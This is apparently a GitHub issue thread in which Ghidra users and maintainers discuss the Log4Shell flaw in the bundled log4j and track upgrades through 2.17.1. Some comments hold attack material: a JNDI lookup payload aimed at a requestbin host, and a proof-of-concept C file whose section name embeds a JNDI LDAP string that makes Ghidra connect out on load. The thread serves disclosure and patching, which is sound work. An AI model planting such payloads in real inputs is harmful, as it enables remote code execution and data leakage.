Apache Log4j RCE Zero day may affect current and historical versions of Ghidra

[askme765cs]

Describe the bug

Worst Apache Log4j RCE Zero day Dropped on Internet
https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html

log4j versions affected by this affair:
2.0 <= Apache log4j2 <= 2.14.1

Ghidra include apache log4j 2.12.1 in current version,which is affected.Historical releases are also affected by this vulnerability.

ghidra/Ghidra/Framework/Generic/build.gradle

api "org.apache.logging.log4j:log4j-api:2.12.1"
api "org.apache.logging.log4j:log4j-core:2.12.1"

This vulnerability may affect the security of current and historical versions of Ghidra, especially servers exposed to public networks, and should be warned.

[mumbel]

probably LOG4J2-3201

[mateon1]

Another useful reference for this vulnerability is GHSA-jfh8-c2jp-5v3q, including a (currently reserved) CVE number CVE-2021-44228.

I haven't attempted a full exploit against ghidra, but I can confirm that logging a certain message is enough for ghidra to make a DNS request, and presumably attempt a connection.
Using https://requestbin.net/dns for testing, it's enough to log a string containing something like the following ${jndi:ldap://ghidratest.b1bb99d3d48384596141.d.requestbin.net}. There are many ways for that to happen in ghidra.
I'm pretty sure it's possible for a function name to demangle to a string containing such, in that case Kaiju auto-analysis passes will log that function, potentially leading to an exploit. Haven't tried anything similar in 'vanilla' ghidra as I see this as enough confirmation.

[fxshlein]

Note that, while the JNDI parser is responsible for the actual RCE (which is also what the CVE is about), the actual problem in most cases is that log4j lookups are parsed at all. You can test this by logging something like ${env:PATH}.

This has apparently been "fixed" in log4j 2.7, but it requires specifying %m{nolookups} instead of %m in the log4j configuration. {nolookups} will be the default in the next version: apache/logging-log4j2@04637dd

Read more in the section "Disables Message Pattern Lookups" here: https://logging.apache.org/log4j/2.x/manual/configuration.html

[askme765cs]

Poc Available

Ghidra's vulnerable to log4j:

__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}

$ gcc hello.c
$ nc -l 1234
Load into Ghidra; it connects to 127.0.0.1:1234.
Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1
https://t.co/Qu1psCjtY6

Source:
https://twitter.com/zhuowei/status/1469186818549719042?t=nfv5r33R8EFkBHn_7AnvRA&s=19

[askme765cs]

In addition, I also see other ways of exploiting this vulnerability.

[ryanmkurtz]

Thank you, we are working on upgrading to 2.15.0 today.

[ryanmkurtz]

For an immediate fix to your current Ghidra installation, replace:

• Ghidra/Framework/Generic/lib/log4j-api-2.12.1.jar
• Ghidra/Framework/Generic/lib/log4j-core-2.12.1.jar

with

• Ghidra/Framework/Generic/lib/log4j-api-2.15.0.jar
• Ghidra/Framework/Generic/lib/log4j-core-2.15.0.jar

[fxshlein]

For log4j versions above 2.10 you should also be able to set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true on your system. This should mitigate the attack, without exchanging jar files, and it should even apply to other applications on your system.

Just don't forget you have it set when testing the vulnerability on another application 😉

Edit: Note that the log4j documentation wrongly says FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS is the variable, but I tested both and only LOG4J_FORMAT_MSG_NO_LOOKUPS worked.

[addisoncrump]

Confirming that this also affects historical versions of Ghidra server in common configurations.

[ryanmkurtz]

Ghidra 10.1 has been released and is available for download. We advise you upgrade immediately.

[askme765cs]

According to the latest safety advice,upgrading to Log4j 2.16.0 is recommended.

GHSA-7rjr-3q55-vv33

The fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations, resulting in a potential denial of service (DOS) attack.
Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

[askme765cs]

Apache just raised CVE-2021-45046 for it.
CVE-2021-45046: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.
Severity: Moderate
Base CVSS Score: 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
Versions Affected: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0

Source:https://logging.apache.org/log4j/2.x/security.html

[ryanmkurtz]

The master and patch branches contain the upgrade to 2.16.0 (fdf7e18). We are still in the process of determining the impact of the new CVE on Ghidra.

Please see Ghidra remote code injection in Log4j for more information and guidance.

[fmagin]

CVE-2021-45046 is now considered critical with a score of 9.0

[askme765cs]

They updated the description and score of CVE-2021-45046

Base CVSS Score：9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
Versions Affected：All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2
Information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.

[askme765cs]

And CVE-2021-45105 had been raised a few days ago, even the Log4j 2.16.0 is affected

Denial of Service
Base CVSS Score:7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Versions Affected：All versions from 2.0-beta9 to 2.16.0

Source:https://logging.apache.org/log4j/2.x/security.html

[ryanmkurtz]

The master and patch branches contain the upgrade to 2.17.0 (1943455)

[ryanmkurtz]

Ghidra 10.1.1 has been released which includes log4j 2.17.0

[Montg0mery]

Ghidra 10.1.1 has been released which includes log4j 2.17.0

@ryanmkurtz: There is a minor update to 2.17.1 for another CVE, but a lot less serious. I don't think it warrants a new release by itself, but it would be good if you could bump the version that is included when you build the next release of Ghidra: https://logging.apache.org/log4j/2.x/security.html

Thanks.

[ryanmkurtz]

Ghidra has already been upgraded to log4j 2.17.1 by 2965c49. This will be included in the 10.1.2 release.